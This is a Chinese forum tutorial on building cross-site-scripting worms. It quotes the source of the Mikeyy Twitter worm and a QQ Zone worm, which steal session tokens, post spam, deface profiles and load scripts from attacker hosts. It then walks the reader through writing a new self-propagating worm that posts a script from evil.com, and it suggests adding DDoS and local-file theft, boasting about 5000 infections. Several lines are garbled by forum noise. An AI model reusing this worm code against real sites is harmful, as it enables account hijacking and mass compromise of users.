: d( J  X" H) z1 k/ A8 `" U复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
) [% ^( m9 H2 X5 M
6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
8 _+ N( x# N& r! {1 k
   2.   

+ H& w: ?. ?8 C9 k( P9 n   3. function XHConn(){  

- ?* j' F$ N) \; k   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
" k7 u9 x8 M+ V* E& ]/ W! L
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
  Z) s) H, p+ V: `1 v! w
2 y, `: d* {" b/ o* E1 N) k% x   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
" F, W% C; \( k
* n  p7 }$ g3 Q9 g- E   8.   catch(e) { _0x6687x2=false; }; }; };  
( C% L; Q. S, F9 q复制代码第六版:   1. function wait() {  
$ @& x& v5 Z, b; @9 w& ^7 p& R
   2.   var content = document.documentElement.innerHTML;  
# `6 O4 J( t$ g6 h" Z- Y, o6 m
   3.   var tmp_cookie=document.cookie;  

7 @& q, L- i( C4 i   4.   var tmp_posted=tmp_cookie.match(/posted/);  

6 v3 @; p2 \: Q$ J) h+ h4 ^& G   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
( j  `. `. s$ Z( n- {+ Q
   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

2 d* B, k- S, C% P  {4 ]( u4 I& X   8.   var randomUpdate= new Array();  
4 f# `/ D5 {' B) l2 R+ J) z/ v
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
* E2 l( O% c- ^2 w! y6 x2 b7 t
2 g3 M  A+ w1 x  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
  c" ^/ w" {$ D* A7 O# s
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
- U& }' o6 O' G8 p: S0 b
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
7 B; v5 [# O, B4 [+ a$ A
8 _  P& D, z* A* y, X, n: U  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
3 C- z  y4 t, G% l. H9 m
5 S/ w9 w1 l) L% K3 O, u  24.     
# Q8 X6 ~- n* }! D* y7 {2 W
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

: S- V1 X' {: C  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
- {8 v2 h1 t5 k* E4 h
  27.     

5 \6 C6 p  k1 P% Q. ?  28.   var ajaxConn= new XHConn();  
1 Q6 V6 y5 X! k' r: p- Z+ E  m* O
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
) K: s# m' Y. L6 v2 R8 b* k4 n
  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
2 Y0 n9 Z! }3 ?8 p( t
4 t7 S+ l+ m% |6 L1 G' c  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
  d1 ?7 V; p- s5 ]) P
+ f' Y5 C' e8 m8 d' z  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
$ u0 o/ i$ c# W1 U& B* u
9 s4 s& `3 ]7 l, a4 h0 S) I  35.   var XSS=urlencode(genXSS);  
+ u4 t2 j& S# |! u- J+ K2 z# d
# P3 z# _( h6 @  36.   var ajaxConn2= new XHConn();  
) w/ z$ |* H. a1 g
7 s) ^+ K) l% {# W9 e  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

9 u  @+ r* L( D' ~$ U, y7 \  38.     
4 f$ y8 O0 z, t5 u% P
, [/ i0 D$ \; l% b. q7 K! v; l1 e  39. } ;  

  40. setTimeout(wait(),5250);  
, R' N: D2 \/ ?复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
! ?; M$ |  z. ?8 m9 `


- g) Z! k3 I' n) Y9 ivar shendu;shendu=4;
. u9 M9 |5 t- i' J1 A4 @# c  p
//---------------global---v------------------------------------------

8 f5 j+ S& S! Q% Y. ]  O//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
- q. o' C& E+ N3 Z8 N9 W9 h
( P* i& J  X9 R2 I' j+ i        var gurl=document.location.href;
, @# Y/ @0 n" Q6 D+ E
        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

1 g( g0 ^3 X/ p( S9 ^           var cookieS=visitorID.indexOf("g_iLoginUin = ");
% h$ G0 }: P$ O
        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();
/ s) s) z5 J% Y  }8 C9 Y5 {/ Z7 j
7 F$ [$ V" G- l# i: \. o3 R; \
/ |* {, W2 U) ?, {' H; n
" W" g. L& j6 x1 i4 ^; \+ E2 c& Q//挂马
$ U! a, T! Y: E: W0 F# K3 a) \+ U" J
function DOshuamy(){
/ D  h& H6 ]0 d" v7 Y9 ]
3 T- W" @# \" X4 S2 o" @* Cvar ssr=document.getElementById("veryTitle");
5 {5 j: [$ J2 e9 Q* o* Q
1 S! o+ U  }3 G- B# dssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
$ n6 H" \& x" ^3 k
* M7 l3 y1 y! k% m}
; ]  _% X3 [: z% c  O# R


//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

1 g8 e, b5 l* i$ yfunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

5 }$ ]; W; i- O& R; z+ M! P   if(xhr){    //成功就执行下面的

6 ]6 U, E! V$ [* z% A! F     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
( W3 h0 C* i* A
     xhr.send();guest=xhr.responseText;

$ Z" e/ Y6 h( j0 J; ]     get_my_blogurl(guest);    //执行这个函数
* g1 O; x6 S! V8 n( Q, P# T
    }

}
) ^: c! N. {, n0 X1 f  d

, y" P, I' Z, s
//这里似乎是判断没有登录的

function get_my_blogurl(guest){
/ ]* V7 {: G( y5 g/ h) W
! q+ L7 u1 R. y- ]  var mybloglist=guest;

  var myurls;var blogids;var blogide;
! y( ~% x0 X3 U5 }, l
% m% f& [1 Z) g: g- J; s; t  for(i=0;i<shendu;i++){

" Z& m. y8 G" g3 f6 M     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
" J: O! z" x# b$ T9 G
         myurls=mybloglist.indexOf(')');

# X) _/ b4 q0 ?/ o$ H         myblogid=mybloglist.substring(0,myurls);
+ k  C# f! G: D. K
' Y* F+ X5 G6 O* ]( J  e# p5 a        }else{break;}

}
$ o$ m5 y- a% L: k  |5 v" O
# T6 T( q6 e8 S8 }$ {) V) h! S, h5 Vget_my_testself();    //执行这个函数
. z; `6 @0 S" r9 K4 q' n
}

$ B8 y3 T0 w% L- a) y
( p& U  ]( c  Q  f
# ]' r9 M4 z% B" u& B& R0 {* ~//这里往哪跳就不知道了
+ y2 A; r3 a. E" b. K
function get_my_testself(){
- V- A* d: ]- G
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
" q6 R( R6 Q3 U+ \, u
! R9 j! ]! j+ d4 Z; g" U  _      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
9 Q8 [% s3 K# ^* ^
' K9 y# M8 ]3 F6 v- `3 F  \      if(xhr2){        //如果成功

1 u; b4 p8 I: Z/ Y              xhr2.open("GET",url,false);     //打开上面的那个url

: f; U3 k$ Q5 K" l9 `/ l              xhr2.send();
' Z) m4 T3 L1 D& O' T
8 h3 ^* O0 S& V6 I, E              guest2=xhr2.responseText;
5 q7 S, {# H1 X7 @6 Z3 m
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

% [, ^" d2 N+ w, U  }4 e! E              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
6 D% u5 C) W. c% ~7 ^) Q
                break;
. t( C) y' n+ p% P* `+ M
7 X* k* u9 e% U6 `# q7 e               }
6 g5 Q2 l5 S2 {  P0 J( l
; ?& U6 U) J  N  E$ p              if(mycheckit=="-1"){
% E# D0 Y2 ^2 _* c: V& X
                targetblogurlid=myblogid;

' k& D3 @4 M4 }2 I4 m' U                add_js(visitorID,targetblogurlid,gurl);    //执行它
* |. `+ c4 Y3 a$ g# [; {! G3 r
                break;

               }
. B6 Y' g2 W" j: p
        }      

}

}
; x0 B+ H/ Y* Y  d+ h4 u( k# Q
6 y6 u* ?5 A# |8 }  h* w3 n7 d

. u! i, q, V3 L4 P# g1 Q1 r& P//--------------------------------------  
% c, `/ b+ y; m$ J6 z4 a
- ~# p+ `) c: x. C% G, [, u+ u7 ?/ ]//根据浏览器创建一个XMLHttpRequest对象

- ~5 Y3 Y4 o/ }! t7 S$ nfunction createXMLHttpRequest(){
7 |$ I. N0 c3 ?
1 _$ L6 [5 C) v# q% E    var XMLhttpObject=null;  

4 w1 w4 f- g( _$ w    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
7 ^3 S1 B" W+ P* W3 Z( N
8 m4 i) }, b0 z1 g1 t9 \    else  

- z" o8 H8 f2 G0 p0 z      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

" I3 H5 L+ c4 ^% t2 P        for(var i=0;i<MSXML.length;i++)  
9 `5 |  H1 M4 W
. e# C5 N: @8 w  {" k' ~: T        {  
. f- S+ ~' o5 `' N' Q
" f) {& w. P3 d. m: c% w            try  

% q+ J* S# N+ V% r: G3 s4 X4 U# \# v            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
0 D- x2 I: x& J1 q1 c+ i9 D' s
3 F; K4 ^1 a; N$ S: Q            }  

* z9 I7 ]7 h8 U$ v. a1 [0 L/ P            catch (ex) {  
. g! q! M3 u* Z% d
            }  
3 s4 d. Y5 `% c: y. I" R' w6 l
         }  
/ Y' X, o5 Q# K/ J: m2 K% m
      }
5 {; j# g( a5 H. }4 ?
9 i- k) V; k$ B" jreturn XMLhttpObject;

}  
& T3 A3 H8 w. F. p+ q) k8 v
& v+ E4 z; @9 _. h0 r! Q: m

& v! i1 M2 e4 U' k1 h' T7 u//这里就是感染部分了
5 h2 ?4 A- j$ m' H! B
function add_js(visitorID,targetblogurlid,gurl){
% `( J7 }1 N$ o9 g& Z+ j
/ K+ s" T; X  |9 f# \; cvar s2=document.createElement('script');
8 Z0 X! J" [/ {' z; X, |: r
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
* L% |# i7 {- P+ B$ t
) l. a# M& k( C/ p; O6 tdocument.getElementsByTagName('head').item(0).appendChild(s2);

- I$ N, x1 y8 Z6 ^, ]}



5 L2 s5 D# @+ b; R$ D8 j2 n, vfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

4 B, H5 c4 j- _. ss2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

$ N) d0 n; @8 ?, h$ @  V/ K4 _3 ?* As2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

* p' s2 F! u8 s0 v4 K
4 i5 Y6 l; T9 [- b2 W$ f- a下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

- K; q$ ?7 |' N2 K# D4 Tif(window.XMLHttpRequest) {
. j  U; x$ c; X! T* K
& F4 o+ l; Y" b7 ]4 hrequest = new XMLHttpRequest();

3 [2 x7 @8 O$ a& T) l, nif(request.overrideMimeType) {
8 v. V1 {1 ?  j7 O( ?- l1 J1 s
' p$ s: h1 H( c2 S: L% crequest.overrideMimeType('text/xml');
  A! F7 r. P" c
6 c: \: T( _; s, T' D}
8 t/ m" ^8 D# A, f* f! N/ g
- z! I9 D$ T" v) T/ b" h} else if(window.ActiveXObject) {

, o6 a- [% N( nvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
% r0 j5 w, G. A$ e' a
, F0 R: u* M5 W' {3 X0 d, u0 ufor(var i=0; i<versions.length; i++) {

try {
' [) Q! h6 W- _3 H$ m9 ^
# {: |% p' t, lrequest = new ActiveXObject(versions);
# ?5 M6 k* Q5 P
. k  B( e: E& y: ?0 o} catch(e) {}
6 O1 Y+ ^' Z3 W; x+ z
}

}
& ~+ L. G: R' N0 G) d
$ L- U$ v3 y4 p  N, bxmlHttpReq=request;
$ t2 s; G6 q6 f: R) ~+ J5 z. l复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
1 L2 ~2 f) D% [6 N* |
        var Browser_Name=navigator.appName;
: q* J  r% h8 @- [2 u0 q
        var Browser_Version=parseFloat(navigator.appVersion);
9 X$ t8 p+ i1 G1 i5 u/ ?
        var Browser_Agent=navigator.userAgent;
1 t& d. y7 h6 k2 A/ R; p# y( r
8 b6 L, ?# _; g& u3 K% O3 i1 g        

  a: P# G  U4 y1 U4 u# c        var Actual_Version,Actual_Name;

        

' V# q" v9 ?  C. s5 I        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
: w! W3 j* U- E: L
9 r: v. H) G) k/ J1 W6 ?        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
3 r6 \6 p# w3 K* i0 y6 _1 t9 O3 I
        
" `6 Z$ E# |4 H: G; r
        if(is_NN){
* ~& Y2 o2 t' e/ m
# w9 ~7 }- d$ c2 Q$ V- V  ?4 C            if(Browser_Version>=5.0){

) t: G4 L8 ]+ j4 {+ B                var Split_Sign=Browser_Agent.lastIndexOf("/");
5 p% Z) [( z/ `. s" k
, X2 ]+ L  O$ K0 N4 f                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

& y0 L( |; O6 o9 O

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
: w, D% }: C! h# L
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
$ x4 |  J! m. J
8 a  {9 m/ s$ o# E- w' M8 L) U            else{

5 m3 }, W1 f2 \) b5 T9 o2 R& |7 u                Actual_Version=Browser_Version;
; h/ b+ n0 g- P: U; R% y/ \: h
                Actual_Name=Browser_Name;

  k4 t; O( x) v2 z( d0 T            }
$ p1 _8 j- q* z) ^
        }
- q( ~" ?! ?' }8 m
  T0 A/ m# D# z        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

5 q' L0 j. s7 C# y7 |  U            var Version_End=Browser_Agent.indexOf(";",Version_Start);

8 O; z7 l9 }) N$ N; ?9 P) x, M! O            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

( P. ]9 L  C. q3 p6 J) t  i- C( \            Actual_Name=Browser_Name;
, \& X& |& M, f. w
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
+ O6 T" h- |; Y% i
                Actual_Name+="(Maxthon)";

, o8 `( s6 O; C3 s! @8 h            }
0 b; k' W2 A& O
            else if(Browser_Agent.indexOf("Opera")!=-1){
. H: Z4 J+ A, @$ l  ?8 Z- F' K
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

3 S6 ^. m9 ]9 i- \- ~" p- q6 _1 n                var tempend=Browser_Agent.length;
; C! k$ J8 t* F+ ]# J8 ]  H
4 I' V" e& V' ~: [$ i                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

* f( i: T* B# b0 X            }

7 r5 v8 o9 Z+ H        }
% l; f! Z% @$ O0 N4 s
        else if(is_Ch){

4 G9 U$ P( z8 K% z            var Version_Start=Browser_Agent.indexOf("Chrome");
8 F" b! {2 N/ l6 b6 z, M: d
$ r8 `' E6 v) J3 I3 L* u! p            var Version_End=Browser_Agent.indexOf(";",Version_Start);
1 u& O1 g8 s- t8 l8 t. w/ n- r
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
2 S7 b; {1 G% d) Z5 n
            Actual_Name=Browser_Name;

8 a) ~) I5 n0 _% B7 t            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
# X2 j+ U7 N5 |& W& [, \+ O  h# R3 _
7 }+ O. t; U! ~: R0 B) E            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

1 X6 n- y4 p* y  {; U                Actual_Name="Opera";
& U/ N% k7 @- S- v) ~
6 {! B$ }) \7 f! Z+ k                var tempstart=Browser_Agent.indexOf("Opera");
: p7 [' c, }0 v
                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
; w6 A" b/ G1 Q. P: ]* t# ?9 Y
            }

0 B3 E3 R9 `) l) ^( ?! N2 y        }
6 s9 z, |& _# X; b7 Z
) ~3 k5 E# X  U, G        else{
; M% r6 D7 ?* x! _2 J& T
! W8 s: r$ W/ y' Q  [" Z1 V            Actual_Name="Unknown Navigator"
3 @9 e& K$ e7 D( P$ O% I% O
8 @) d7 O  M) Y! d/ |8 _) b6 {            Actual_Version="Unknown Version"
( ~. y2 G0 }/ Z8 L, b" W- i
+ D) Q; n- h7 N        }

- W+ f/ X8 ~3 `- A: L. f* ]
% ^: l! H6 i5 S5 D' o9 A+ u# S4 x0 E
  D  i1 z1 H. S; J% C9 T        navigator.Actual_Name=Actual_Name;
1 u9 R: y3 N2 {! K. }$ S+ a. `
        navigator.Actual_Version=Actual_Version;
* c& }3 {" s6 f! U$ i* D% K
7 n/ P  F9 N3 y$ A& S8 ^        
) d' p9 u% X+ P! f+ K2 A
        this.Name=Actual_Name;

$ t2 P0 C/ r$ m3 @2 M/ v4 P        this.Version=Actual_Version;

    }

( K( [( b, Y9 n1 J7 U- h/ J9 K9 I    browserinfo();
' F7 n8 `/ u4 g* c" ^* l* Z; H
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
$ L/ Y) l% C! |9 D6 M: F
  J( `& C# [' C3 d  a    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
, L3 V% w0 i0 u* O
# Q6 h. L6 u' ?) B2 i    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
# r8 a1 I0 C- {/ Z  @
* D; J0 o6 [# R  \$ S    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
- l8 c1 @% m! Z复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
; i- d6 S6 T$ {: T' l
% J" M- \5 I' B( G  Q: FxmlHttpReq.send(null);
* M. \2 I6 Y+ B& H
var resource = xmlHttpReq.responseText;
7 ]- J* @8 |# V$ P. [
& r( k+ e0 A; ^% h% ?6 I/ l& d0 hvar id=0;var result;

4 @7 ]3 K, H/ u" I; ^var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

! v4 }' J: D, N. I4 Q' B. N( h$ hwhile ((result = patt.exec(resource)) != null)  {

id++;
8 H$ D; s0 H) Q
7 S" I" U5 Q* n. x% Y/ P}
' z% y' F1 o" `. T% ~复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
' J- G6 J% @0 H1 A* p
9 G; K$ |: y2 p! w! tno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
; B" I! k6 P) n
0 P: g4 i5 U2 y2 bxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
9 C( g) b7 F: z3 Q( D2 D7 ]1 B
% I$ ~5 `# Y8 IxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
3 N6 \# A  e, u5 @5 Y+ {% H! X
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
9 T- x6 a4 ^. Y' c, O
}
) ]0 \4 O5 |  j) N! A5 D复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
2 V$ _* m) F( [, d4 K) ]# v0 x
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

+ x1 q! V+ D) v- Z% r8 ]( _2 _6 evar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
( W/ h; v) L4 y) u/ M
3 l; l) F8 ]5 a/ E1 Kvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
) u1 R% e# s9 y' S
8 l9 Q( i  F" k; X$ n& W- ?var post="wd="+wd;
  ]: @) z* J+ `1 |8 A0 m/ @
- H, \& ^' ^; ^4 N% ]7 s0 zxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
. n( V( R$ y. u. d% X* m. B7 U) N% h
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

7 L" l7 e  j/ b, Z8 `; t1 a- dxmlHttpReq.send(post);                 //把传播的信息 POST出去.
' Y# }, [4 i% g: `( O9 z5 k$ I& D
4 h; _# J4 R2 ^# B+ J# _- n( @}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
" J9 y) z9 G" D" f  J8 i3 n
( x& S3 j" M5 f' v( n
  N3 H, P7 y) t6 J& a8 {
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
; a5 \6 B* a+ ^* H3 a操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

& Q) z8 Q# ^) @* ^  I

0 v( y: v2 I  E3 T( i


) y8 ^1 q) C/ j# B
8 h  L$ _8 c1 Z/ ?: @. |
; Q. \* X( n: S) n本文引用文档资料:
. Q8 X2 N* |5 l; A+ i
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
3 l( j! ]8 q% s1 ]% C4 U: fOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
* j) g* m* ^& B) khttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
& b! ]1 J' V+ V6 i& v